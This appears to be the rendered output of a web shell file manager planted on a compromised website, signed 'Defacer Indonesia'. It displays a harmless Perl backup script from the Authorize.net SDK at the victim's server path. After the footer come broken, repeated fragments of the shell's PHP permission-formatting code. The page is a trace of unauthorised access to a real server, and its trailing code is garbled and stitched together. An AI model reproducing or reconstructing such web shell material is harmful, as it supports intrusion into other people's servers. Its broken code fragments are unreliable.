Asikk-&wkwkwkwkw

whoami7 - Manager

: /home/kckglobal/www/portal/vendor/authorizenet/authorizenet/scripts/

files >> /home/kckglobal/www/portal/vendor/authorizenet/authorizenet/scripts/backup.pl

 #!/usr/bin/perl
use strict;
use warnings;
use File::Path;

#my $text = `cat ARBGetSubscriptionRequest.php`;
#my $sub = `cat appendSetCode.txt`;
#$text =~ s|(.+)}|$1$sub|xms;
#print 'Result : '.$text."\n";

#mkdir 'backup';
while (<>) {
    chomp;
    my $filepath = "lib/net/authorize/api/contract/";
    my $filename = $filepath."v1/".$_;
    my $text = `cat $filename`;
#    print $filename;
    my $backupdir = "$filepath"."backup/$_";
    $backupdir =~ s/(.*)\/.*$/$1/;
    mkpath($backupdir) unless -d $backupdir;
    open(my $fh, '>', "$filepath"."backup/$_");
    print $fh $text;
    close $fh;
#    print 'Result : '.$text."\n";
}
#unless(mkdir 'backup') {
#        die "Unable to create directory backup\n";
#    }
#open(my $fh, '>', 'backup/ARBGetSubscriptionRequest copy2.php');
#print $fh "My first report generated by perl\n";
#close $fh;

Copyright ©2021 || Defacer Indonesia nfo .= (($perms & 0x0020) ? 'r' : '-'); $info .= (($perms & 0x0010) ? 'w' : '-'); $info .= (($perms & 0x0008) ? (($perms & 0x0400) ? 's' : 'x' ) : (($perms & 0x0400) ? 'S' : '-')); // World $info .= (($perms & 0x0004) ? 'r' : '-'); $info .= (($perms & 0x0002) ? 'w' : '-'); $info .= (($perms & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> & 0x0001) ? (($perms & 0x0200) ? 't' : 'x' ) : (($perms & 0x0200) ? 'T' : '-')); return $info; } ?> ?> )); return $info; } ?> ?>